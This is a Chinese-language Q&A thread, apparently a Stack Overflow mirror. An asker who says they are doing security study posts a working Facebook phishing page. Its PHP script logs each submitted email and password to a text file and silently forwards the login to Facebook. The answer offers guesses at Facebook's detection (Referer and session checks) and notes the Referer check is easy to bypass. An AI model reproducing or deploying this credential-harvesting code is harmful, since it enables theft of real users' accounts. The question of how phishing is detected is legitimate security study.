1

我正在做一个关于计算机安全的小任务,我目前正在研究网络钓鱼。

因此,出于教育目的,我编写了一个简单的“网络钓鱼网页”,并试图了解 Facebook 如何检测网络钓鱼欺诈网页。

index.html是 facebook 主页,而我编辑它是为了将用户重定向到一个phishing.php页面。

phishing.php

<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
    foreach ($_POST as $a => $b) {
        echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
    }
?>

</form>
<script language="JavaScript">
    document.frm.submit();
</script>

我的问题来了。除了用户(我)输入的是用户名和密码之外,一切都运行良好,Facebook 说:

安全通知:为了您的安全,切勿在 Facebook.com 以外的网站上输入您的 Facebook 密码

那么 Facebook 使用哪种机制来检测这样的网络钓鱼页面呢?

谢谢!

4

1 回答 1

3

我可以想到facebook这样做的很多方法

方法一: HTTP Referer
在您发送的每个 HTTP 请求中,都会同时发送一个 referer 来指示您来自哪里,facebook 可以简单地执行以下操作

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

方法二:会话
Facebook 可能会在他们的 index.php 页面上启动一个会话,一旦提交登录表单就会被检查,例如

index.php
$_SESSION['coming_from_facebook'] = true;

login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

这都是伪代码,第一种方法很容易绕过,因为用户可以修改引用者。

于 2014-10-31T14:02:37.507 回答